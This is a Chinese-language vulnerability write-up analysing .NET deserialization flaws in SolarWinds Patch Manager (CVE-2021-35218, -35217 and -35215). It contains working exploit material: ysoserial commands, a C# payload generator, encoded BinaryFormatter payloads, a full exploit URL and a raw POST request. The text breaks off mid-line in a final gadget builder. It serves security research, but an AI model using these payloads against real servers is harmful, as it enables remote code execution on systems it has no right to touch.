SolarWinds PM反序列化漏洞分析
SolarWinds PM反序列化漏洞分析
前言
这段时间一直对Net的反序列化的一些漏洞利用比较有兴趣,简单跟跟漏洞
XmlSerializer 反序列化
在此之前先来熟悉一下XmlSerializer的反序列化漏洞
反序列过程:将xml文件转换为对象是通过创建一个新对象的方式调用XmlSerializer.Deserialize方法实现的,在序列化最关键的一环当属new XmlSerializer构造方法里所传的参数,这个参数来自System.Type类,通过这个类可以访问关于任意数据类型的信息,指向任何给定类型的Type引用有以下三种方式。
XmlSerializer xmlSerializer1 = new XmlSerializer(typeof(Person));// typeof()
XmlSerializer xmlSerializer2 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer3 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名
Type.GetType()是Type类的静态方法GetType,这个方法的参数允许外部传入的这时候只需要输入全限定名就可以调用该类中的方法、属性等。
Binaryformatter 反序列化
使用BinaryFormatter类序列化的过程中,用[Serializable]声明这个类是可以被序列化的。Binaryformatter
的反序列化漏洞触发比较简单,需要反序列化内容可控即可。
详细文件可到 BinaryFormatter反序列化漏洞查看
ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter
ysoserial.exe -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" -f binaryformatter
ysoserial.exe -g ActivitySurrogateSelector -c "cmd.exe" -f binaryformatter
ysoserial.exe -f binaryformatter -g RolePrincipal --minify -c "cmd.exe"
CVE-2021-35218漏洞
寻找漏洞点
根据y4er师傅文章找到漏洞点位于SolarWinds.PM.Web.Charting.ScmChartImageHandler
中
tp参数为type可控内容,chart参数为反序列化内容。可看到传入为base64后的内容。
寻找漏洞入口
全局搜索ScmChartImageHandler
类的应用发现,/Orion/PM/Chart.ashx
中继承了ScmChartImageHandler
,ScmChartImageHandler
继承IHttpHandler
,请求会经过ProcessRequest
。
即访问/Orion/PM/Chart.ashx
,即可进入ScmChartImageHandler
请求。
漏洞调试
看到代码
public void ProcessRequest(HttpContext context)
{
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(context.Request.QueryString["tp"]));
using (MemoryStream memoryStream = new MemoryStream(Base64Helper.Base64Decode(context.Request.QueryString["chart"])))
{
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress))
{
ChartInfo chartInfo = ((SerializableChartInfo)xmlSerializer.Deserialize(XmlReader.Create(deflateStream))).CreateChartInfo();
if (chartInfo != null)
{
context.Response.ContentType = "image/png";
using (ChartBase chartBase = chartInfo.CreateChart())
{
using (MemoryStream memoryStream2 = new MemoryStream())
{
chartBase.DataBind(chartInfo.LoadData());
chartBase.GetAsImage(memoryStream2, ImageFormat.Png);
memoryStream2.WriteTo(context.Response.OutputStream);
// ...
获取tp传入type,并且获取chart取得反序列化内容进行反序列化
在测试中发现生成数据后进行base64加密,并不行,随后发现代码中有该行代码
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress))
使用了DeflateStream进行解压缩,就意味着彻底数据必须使用该类进行加密压缩。
把y4er师傅的POC扣过来
using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Web;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd";
psi.Arguments = "/c cmd";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
string xamlpayload = XamlWriter.Save(odp);
//Console.WriteLine(xamlpayload);
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(xamlpayload);
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
XmlSerializer xmlSerializer = new XmlSerializer(expandedWrapper.GetType());
using (MemoryStream memoryStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
{
xmlSerializer.Serialize(deflateStream, expandedWrapper);
deflateStream.Flush();
deflateStream.Close();
string text = Base64Encode(memoryStream.ToArray());
Console.WriteLine(text);
}
}
Console.ReadKey();
}
public static string Base64Encode(byte[] str)
{
return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
}
public static byte[] Base64Decode(string str)
{
byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
}
}
}
EditTopXX Binaryformatter反序列化
SolarWinds的\Orion\PM\Controls\EditResourceControls\EditTopXX.aspx.cs
namespace SolarWinds.PM.Web.Helper
{
// Token: 0x0200005D RID: 93
public class Serializer
{
// Token: 0x06000294 RID: 660 RVA: 0x0000B7A0 File Offset: 0x000099A0
public static string Serialize(object parameters)
{
string result;
using (MemoryStream memoryStream = new MemoryStream())
{
new BinaryFormatter().Serialize(memoryStream, parameters);
result = Base64Helper.Base64Encode(memoryStream.ToArray());
}
return result;
}
// Token: 0x06000295 RID: 661 RVA: 0x0000B7E8 File Offset: 0x000099E8
public static T Deserialize<T>(string serializedObject)
{
T result;
using (Stream stream = new MemoryStream(Base64Helper.Base64Decode(serializedObject)))
{
result = (T)((object)new BinaryFormatter().Deserialize(stream));
}
return result;
}
}
使用BinaryFormatter
进行反序列化,并且没做校验
ThwackData参数中插入反序列化数据。
使用yso生成反序列化数据
ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter --minify
ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter
起初使用burp将数据给base64编码,发现命令并不能执行成功。
后面使用代码进行base64编码就可以了
var payload = HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes("AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtQU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L"));
Console.WriteLine(payload);
看了一下主要区别在于下图中
HttpServerUtility.UrlTokenEncode(Byte[])
方法,将一个字节数组编码为使用 Base 64 编码方案的等效字符串表示形式,Base 64 是一种适于通过 URL 传输数据的编码方案。
代码中的Base64Decode,首先是调用了HttpServerUtility.UrlTokenDecode
base64解密,然后在使用Convert.FromBase64String
进行第二次base64解密
public static byte[] Base64Decode(string str)
{
byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
}
http://172.16.108.221:8787/Orion/PM/Controls/EditResourceControls/EditTopXX.aspx?ThwackData=QUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXRRVThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE9DSS9QZzBLUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2lCTlpYUm9iMlJPWVcxbFBTSlRkR0Z5ZENJZ1NYTkpibWwwYVdGc1RHOWhaRVZ1WVdKc1pXUTlJa1poYkhObElpQjRiV3h1Y3owaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3dmNISmxjMlZ1ZEdGMGFXOXVJaUI0Yld4dWN6cHpaRDBpWTJ4eUxXNWhiV1Z6Y0dGalpUcFRlWE4wWlcwdVJHbGhaMjV2YzNScFkzTTdZWE56WlcxaWJIazlVM2x6ZEdWdElpQjRiV3h1Y3pwNFBTSm9kSFJ3T2k4dmMyTm9aVzFoY3k1dGFXTnliM052Wm5RdVkyOXRMM2RwYm1aNEx6SXdNRFl2ZUdGdGJDSStEUW9nSUR4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvZ0lDQWdQSE5rT2xCeWIyTmxjM00rRFFvZ0lDQWdJQ0E4YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnSUNBZ0lEeHpaRHBRY205alpYTnpVM1JoY25SSmJtWnZJRUZ5WjNWdFpXNTBjejBpTDJNZ1kyMWtMbVY0WlNJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEw1
遇到该漏洞只能使用get请求,有一些长度上的限制。可使用yso的--minify
参数压缩payload
CVE-2021-35217 漏洞分析
漏洞分析
定位到漏洞点/Orion/PM/Controls/WSAsyncExecuteTasks.aspx
private class JSTaskItem
{
public string ResourceId { get; set; }
public string Hash { get; set; }
public string ServerMethod { get; set; }
public String ServerControlDefinition { get; set; }
public object[] Parameters { get; set; }
}
//...
protected override void OnInit(EventArgs e)
{
try
{
log.Debug("Start to async load page resources");
Response.Cache.SetCacheability(HttpCacheability.NoCache);
var serializer = new JavaScriptSerializer();
var reader = new StreamReader(Page.Request.InputStream, Encoding.UTF8, true);
var data = reader.ReadToEnd();
this.JSONData = serializer.Deserialize<JSTaskItem[]>(data);
this.Return = new List<JSReturnItem>();
this.ControlsReturn = new List<ControlsReturnItem>();
var dt = DateTime.Now;
this.ServerState = new CheckEWDataGridAvailabilityDAL().CheckAvailability(false);
log.DebugFormat("Check Service Availability took {0}ms", (DateTime.Now - dt).TotalMilliseconds);
}
catch (Exception ex)
{
foreach (var item in this.JSONData)
{
this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
{
{ "Result", null },
{ "DataResultState", "JustMessage" },
{ "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = ex.GetType().Name, Error = ex }) },
}));
}
return;
}
foreach (var item in this.JSONData)
ExecuteItem(item);
base.OnInit(e);
}
获取InputStream进行JavaScriptSerializer,但在new JavaScriptSerializer()
中并没有SimpleTypeResolver
没法进行 JavaScriptSerializer
反序列化漏洞利用。
反序列化后遍历反序列化后的数据this.JSONData
,进行遍历传入调用ExecuteItem
.
来到ExecuteItem
方法
private void ExecuteItem(JSTaskItem item)
{
if (item.ServerControlDefinition != null)
{
try
{
var contorlDefinition = System.Web.HttpUtility.UrlDecode(item.ServerControlDefinition);
var contorlDefinitionSplitted = contorlDefinition.Split(new char[] { '|' }, StringSplitOptions.RemoveEmptyEntries);
var parameters = new Dictionary<String, String>();
foreach (var query in contorlDefinitionSplitted)
{
var name = query.Substring(0, query.IndexOf("="));
var value = query.Substring(name.Length + 1);
parameters.Add(name, value);
}
var obj = LoadControl(parameters["Control"]);
if (obj is ScmResourceBaseAsync)
{
dataDiv.Controls.Add(obj);
foreach (var propertyItem in parameters.Where(s => s.Key.Contains("config.")))
PropertySetter.SetProperty(obj, propertyItem.Key.Replace("config.", ""), propertyItem.Value);
PropertySetter.SetProperty(obj, "AllowAdmin", Profile.AllowAdmin);
PropertySetter.SetProperty(obj, "ServerState", this.ServerState);
this.ControlsReturn.Add(new ControlsReturnItem(item, obj as ScmResourceBaseAsync, parameters["Control"]));
}
else
{
this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
{
{ "Result", null },
{ "DataResultState", "JustMessage" },
{ "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Security Exception", Error = new Exception("Unable to load async control, because it is not secure.") }) },
}));
}
}
catch (Exception ex)
{
this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
{
{ "Result", null },
{ "DataResultState", "JustMessage" },
{ "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Unable to load resource", Error = ex }) },
}));
}
}
else
{
var dt = DateTime.Now;
try
{
var methodSubscription = item.ServerMethod.Split(';');
string typeString = methodSubscription[0];
string methodString = methodSubscription[1];
var type = Type.GetType(typeString);
var method = type.GetMethod(methodString);
bool secureMethod = false;
foreach (var attr in method.GetCustomAttributes(true))
{
if (attr is WSAsyncExecuteMethodAttribute)
{
WSAsyncExecuteMethodAttribute attribute = attr as WSAsyncExecuteMethodAttribute;
if (attribute.IsSecureMethod)
{
secureMethod = true;
break;
}
}
}
if (!secureMethod)
{
this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
{
{ "Result", null },
{ "DataResultState", "JustMessage" },
{ "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Security Exception", Error = new Exception("Unable to execute method, because it is not secure.") }) },
}));
}
获取ServerControlDefinition
参数内容以|
分割参数,截取分割后的值分以=
在此分割value/key值,传递到parameters对象中。
var obj = LoadControl(parameters["Control"]);
if (obj is ScmResourceBaseAsync)
{
dataDiv.Controls.Add(obj);
foreach (var propertyItem in parameters.Where(s => s.Key.Contains("config.")))
PropertySetter.SetProperty(obj, propertyItem.Key.Replace("config.", ""), propertyItem.Value);
PropertySetter.SetProperty(obj, "AllowAdmin", Profile.AllowAdmin);
PropertySetter.SetProperty(obj, "ServerState", this.ServerState);
this.ControlsReturn.Add(new ControlsReturnItem(item, obj as ScmResourceBaseAsync, parameters["Control"]));
}
使用LoadControl
动态加载控件,控件得为ScmResourceBaseAsync
类型。并且后面会将参数的key值,config.
字符替换为空
Control需要传入一个继承的ScmResourceBaseAsync
的控件路径。
using System;
using System.Reflection;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using SolarWinds.Logging;
using SolarWinds.Orion.Web;
using SolarWinds.PM.Common.Enums;
using SolarWinds.PM.Common.Model;
using SolarWinds.PM.Web.Helper;
namespace SolarWinds.PM.Web.Resources
{
// Token: 0x0200001C RID: 28
public class ScmResourceBaseAsync : UserControl
{
// Token: 0x0600008A RID: 138 RVA: 0x00004540 File Offset: 0x00002740
protected override void OnLoad(EventArgs e)
{
this.IsDone = true;
DateTime now = DateTime.Now;
if (!string.IsNullOrEmpty(this.PreLoadMethodSerial))
{
string[] array = this.PreLoadMethodSerial.Split(new char[]
{
';'
});
string typeName = array[0];
string name = array[1];
Type type = Type.GetType(typeName);
object obj = Activator.CreateInstance(type);
MethodInfo method = type.GetMethod(name);
System.Reflection.PropertyInfo property = type.GetProperty("DataResultState");
TaskResult taskResult = new TaskResult
{
Outcome = TaskOutcome.Success
};
string title = string.Empty;
try
{
method.Invoke(obj, new object[]
{
Serializer.Deserialize<object[]>(this.ParametersSerial),
this.ServerState
});
}
POC 构造
POST /Orion/PM/Controls/WSAsyncExecuteTasks.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 2901
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/PM/Controls/WSAsyncExecuteTasks.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x x x
Connection: close
[{"ResourceId":null,"Hash":null,"ServerMethod":null,"ServerControlDefinition":"Control=~/Orion/PM/Controls/Update/GroupsMissingUpdateCtrl.ascx|config.ParametersSerial=QUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFMVRlWE4wWlcwdVYyVmlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqQXpaalZtTjJZeE1XUTFNR0V6WVFVQkFBQUFJVk41YzNSbGJTNVhaV0l1VTJWamRYSnBkSGt1VW05c1pWQnlhVzVqYVhCaGJBRUFBQUFxVTNsemRHVnRMbE5sWTNWeWFYUjVMa05zWVdsdGMxQnlhVzVqYVhCaGJDNUpaR1Z1ZEdsMGFXVnpBUUlBQUFBR0F3QUFBT1FKUVVGRlFVRkJSQzh2THk4dlFWRkJRVUZCUVVGQlFVRk5RV2RCUVVGR05VNWhWMDU1WWpOT2RscHVVWFZWUnpreldsaEtWR0ZIVm5OaVF6VkdXa2RzTUdJelNYTkpSbHBzWTI1T2NHSXlORGxOZVRSM1RHcEJkVTFEZDJkUk0xWnpaRWhXZVZwVU1YVmFXRll3WTIxR2MweERRbEZrVjBwellWZE9URnBZYkZWaU1uUnNZbW93ZWsxWFNtMU5lbWN4VG0xR2EwMTZXVEJhVkUweFFsRkZRVUZCUWtOVVYyeHFZMjA1ZW1JeVdqQk1iRnB3WXpOV2FHSkdUakJrVjFKd1luazFWVnBZYURCTWExcDJZMjB4YUdSSVVuQmliV04xVmtkV05HUkZXblpqYlRGb1pFaFNjR0p0WkZOa1Z6VlJZMjA1ZDFwWVNqQmhWMVo2UVZGQlFVRkJPVWRpTTBwc1dqTktkbVJYTld0UmJrb3hZekpuUWtGblFVRkJRVmxFUVVGQlFYcFJWVGhRTTJoMFlrTkNNbHBZU25waFZ6bDFVRk5KZUV4cVFXbEpSMVoxV1RJNWEyRlhOVzVRVTBveFpFZFpkRTlEU1M5UVp6QkxVRVU1YVdGdFZtcGtSVkpvWkVkR1VXTnRPVEpoVjFKc1kybENUbHBZVW05aU1sSlBXVmN4YkZCVFNsUmtSMFo1WkVOSloxTllUa3BpYld3d1lWZEdjMVJIT1doYVJWWjFXVmRLYzFwWFVUbEphMXBvWWtoT2JFbHBRalJpVjNoMVkzb3dhV0ZJVWpCalJHOTJURE5PYW1GSFZuUlpXRTExWWxkc2FtTnRPWHBpTWxvd1RHMU9kbUpUT1ROaFZ6VnRaVU00ZVUxRVFUSk1NMmhvWWxkM2RtTklTbXhqTWxaMVpFZEdNR0ZYT1hWSmFVSTBZbGQ0ZFdONmNIcGFSREJwV1RKNGVVeFhOV2hpVjFaNlkwZEdhbHBVY0ZSbFdFNHdXbGN3ZFZKSGJHaGFNalYyWXpOU2NGa3pUVGRaV0U1NldsY3hhV0pJYXpsVk0yeDZaRWRXZEVscFFqUmlWM2gxWTNwd05GQlRTbTlrU0ZKM1QyazRkbU15VG05YVZ6Rm9ZM2sxZEdGWFRubGlNMDUyV201UmRWa3lPWFJNTTJSd1ltMWFORXg2U1hkTlJGbDJaVWRHZEdKRFNTdEVVVzluU1VSNFVGbHRjR3haTTFKRldWaFNhRlZJU25aa2JXeHJXbGhKZFZReVNuRmFWMDR3VTFjMWVtUkhSblZaTWxVclJGRnZaMGxEUVdkUVNFNXJUMnhDZVdJeVRteGpNMDByUkZGdlowbERRV2RKUTBFNFl6SlJObFZJU25aWk1sWjZZM2sxVkdSSFJubGtSV3gxV20wNEswUlJiMmRKUTBGblNVTkJaMGxFZUhwYVJIQlJZMjA1YWxwWVRucFZNMUpvWTI1U1NtSnRXblpKUlVaNVdqTldkRnBYTlRCamVqQnBUREpOWjJOSGJIVmFlVUUwVFZSWk0wMVhXbXRPVXpWclltNU5kVmx1YkhkWldFNTZURzFXTVV4dE9YbGFlVWxuVlROU2FHSnRVbWhqYlZKR1kyNUtkbU5yVm5WWk1qbHJZVmMxYmxCVFNqZGxSSEJQWkZkNGMyWlRTV2RWTTFKb1ltMVNhR050VWxCa1dGSjNaRmhTUm1KdFRuWmFSMngxV25vd2FXVXpaelpVYmxaellrZ3dhVWxHVm5wYVdFcFBXVmN4YkZCVFNXbEpSa0pvWXpOT00ySXpTbXRRVTBvM1pVUndUMlJYZUhObVUwbG5Va2M1ZEZsWGJIVlFVMGxwU1VWNGRsbFhVbFpqTWxaNVZVaEtkbHB0YkhOYVZEQnBVbTFHYzJNeVZXbEpSVnB3WWtkV1QxbFhNV3hRVTBwcVlsZFJhVWxET0N0RVVXOW5TVU5CWjBsRFFUaE1NMDVyVDJ4Q2VXSXlUbXhqTTAxMVZUTlNhR051VWtwaWJWcDJVR2N3UzBsRFFXZEpSSGQyWXpKUk5sVklTblpaTWxaNlkzbzBUa05wUVdkUVF6bFFXVzF3YkZrelVrVlpXRkpvVlVoS2RtUnRiR3RhV0VsMVZESktjVnBYVGpCVFZ6VjZaRWRHZFZreVZTdEVVVzg0VERBNWFXRnRWbXBrUlZKb1pFZEdVV050T1RKaFYxSnNZMm8wVEFzPQ2|config.PreLoadMethodSerial=SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models;asd","Parameters":[]}]
POC 扣的y4er师傅的CVE-2021-35217 SolarWinds PM WSAsyncExecuteTasks RCE
CVE-2021-35215 漏洞分析
\Orion\RenderControl.aspx.cs
protected override void OnInit(EventArgs e)
{
if (Request.HttpMethod == "POST" && Request.InputStream.Length > 0)
{
using (var reader = new StreamReader(Page.Request.InputStream, Encoding.UTF8, true))
{
try
{
// probably noone sends those anyway
JsonData = PropertySetter.LoadJsonData(reader);
}
catch
{
JsonData = null;
}
}
}
if (JsonData == null)
JsonData = new Dictionary<string, object>();
var addedResourceId = AddResourceIfPossible();
var paramResourceId = GetParam(ParamResourceID) ?? string.Empty;
int resourceId;
int.TryParse(paramResourceId, out resourceId);
ControlPlaceHolder = new PlaceHolderWithID();
ControlPlaceHolder.ID = "Resource" + resourceId;
Page.Form.Controls.Add(ControlPlaceHolder);
if (InitWebResource(addedResourceId) == false)
{
// not a web resource. must be another control.
string ctrl = GetParam(ParamControl);
if (string.IsNullOrEmpty(ctrl))
throw new ArgumentException("Page requires " + ParamControl + " or " + ParamResourceID + " in query string");
System.Web.UI.Control controlToRender = null;
if (ctrl.StartsWith("SolarWinds.Orion.Web"))
{
// todo: modular plugin
controlToRender = Activator.CreateInstance("OrionWeb", ctrl).Unwrap() as Control;
}
else
{
controlToRender = LoadControl(ctrl);
}
ApplyPropertiesAndAttributes(controlToRender);
ControlPlaceHolder.Controls.Add(controlToRender);
}
base.OnInit(e);
Response.Cache.SetCacheability(HttpCacheability.NoCache);
}
加载json数据反序列化为一个JsonData对象,然后 string ctrl = GetParam(ParamControl);
加载
GetParam方法
string GetParam(string name)
{
string ret = Request.QueryString[name];
if (ret != null)
return HttpUtility.HtmlEncode(ret);
object fetch;
if (JsonData.TryGetValue(name, out fetch))
return fetch == null ? null : fetch as string;
if (JsonData.TryGetValue("IgnoreResourceID", out fetch) && Boolean.Parse(fetch.ToString()))
return null;
return HttpUtility.HtmlEncode(Request.Form[name]);
}
下面调用string ctrl = GetParam(ParamControl);
获取json中的Control
参数,controlToRender = LoadControl(ctrl);
进行控件加载
ApplyPropertiesAndAttributes(controlToRender);
void ApplyPropertiesAndAttributes(System.Web.UI.Control controlToRender)
{
const string prefixConfig = "config.";
const string prefixAttrib = "attrib.";
object fetch;
var attrs = GetAttributes(controlToRender);
// configuration values
foreach (string key in Request.QueryString.AllKeys.Where(x => x != null && x.StartsWith(prefixConfig, StringComparison.OrdinalIgnoreCase)))
PropertySetter.SetProperty(controlToRender, key.Substring(prefixConfig.Length), HttpUtility.HtmlEncode(Request.QueryString[key]));
if (JsonData != null && JsonData.TryGetValue(prefixConfig.Substring(0, prefixConfig.Length - 1), out fetch))
PropertySetter.SetProperties( controlToRender, fetch as Dictionary<string, object> );
if (attrs == null)
return;
foreach (string key in Request.QueryString.AllKeys.Where(x => x != null && x.StartsWith(prefixAttrib, StringComparison.OrdinalIgnoreCase)))
attrs[key.Substring(prefixAttrib.Length)] = HttpUtility.HtmlEncode(Request.QueryString[key]);
if (JsonData != null && JsonData.TryGetValue(prefixAttrib.Substring(0, prefixAttrib.Length - 1), out fetch) && fetch != null)
{
Dictionary<string, object> attrib = fetch as Dictionary<string, object>;
if (attrib != null)
{
foreach (var pair in attrib.Where( x => x.Value is string ) )
attrs[pair.Key] = pair.Value as string;
}
}
}
获取json里面的config的值,对获取到的控件object对象设置属性
PropertySetter.SetProperties
代码
static public bool SetProperty(object obj, string name, object value)
{
if( obj == null || name == null )
return false;
var _t = obj.GetType();
var prop = _t.GetProperty(name);
if (prop == null || prop.CanWrite == false)
return false;
try
{
object converted;
if (value == null)
{
converted = prop.PropertyType.IsValueType == false ?
null :
Activator.CreateInstance(prop.PropertyType);
}
else if (value.GetType() == prop.PropertyType)
{
converted = value;
}
else if (value is string)
{
if (ToType(prop.PropertyType, value as string, out converted) == false)
return false;
}
else
{
converted = Convert.ChangeType(value, prop.PropertyType);
}
prop.SetValue(obj, converted, null);
return true;
}
catch (Exception ex)
{
}
return false;
}
SetProperty()
会继续调用PropertyInfo
,converted
是从 JsonData获取到的,在PropertyInfo。SetValue(),将调用模板的 Setter 方法来重置值
现在串联起来就是可以调用继承了System.Web.UI.Control
对象的任意setter方法
然后找到了SolarWinds.Orion.Web.Actions.ActionPluginBaseView
这个类
ViewContextJsonString
的setting会调用this.ParseViewContext();
json.net的TypeNameHandling.Objects
至于TypeNameHandling.Objects
的构造链看不是很懂,后面在补充
POC:
using System;
using System.Collections.Generic;
using System.IO;
using Newtonsoft.Json;
using SolarWinds.InformationService.Contract2;
using SolarWinds.Orion.Core.Models.Actions.Contexts;
using SolarWinds.Orion.Core.Models.MacroParsing;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
var alertingActionContext = new AlertingActionContext();
var macroContext = new MacroContext();
var swisEntityContext = new SwisEntityContext();
var dictionary = new Dictionary<string, Object>();
dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
var propertyBag = new PropertyBag(dictionary);
swisEntityContext.EntityProperties = propertyBag;
macroContext.Add(swisEntityContext);
alertingActionContext.MacroContext = macroContext;
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Objects
};
var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
Console.WriteLine(serializeObject);
var streamWriter =
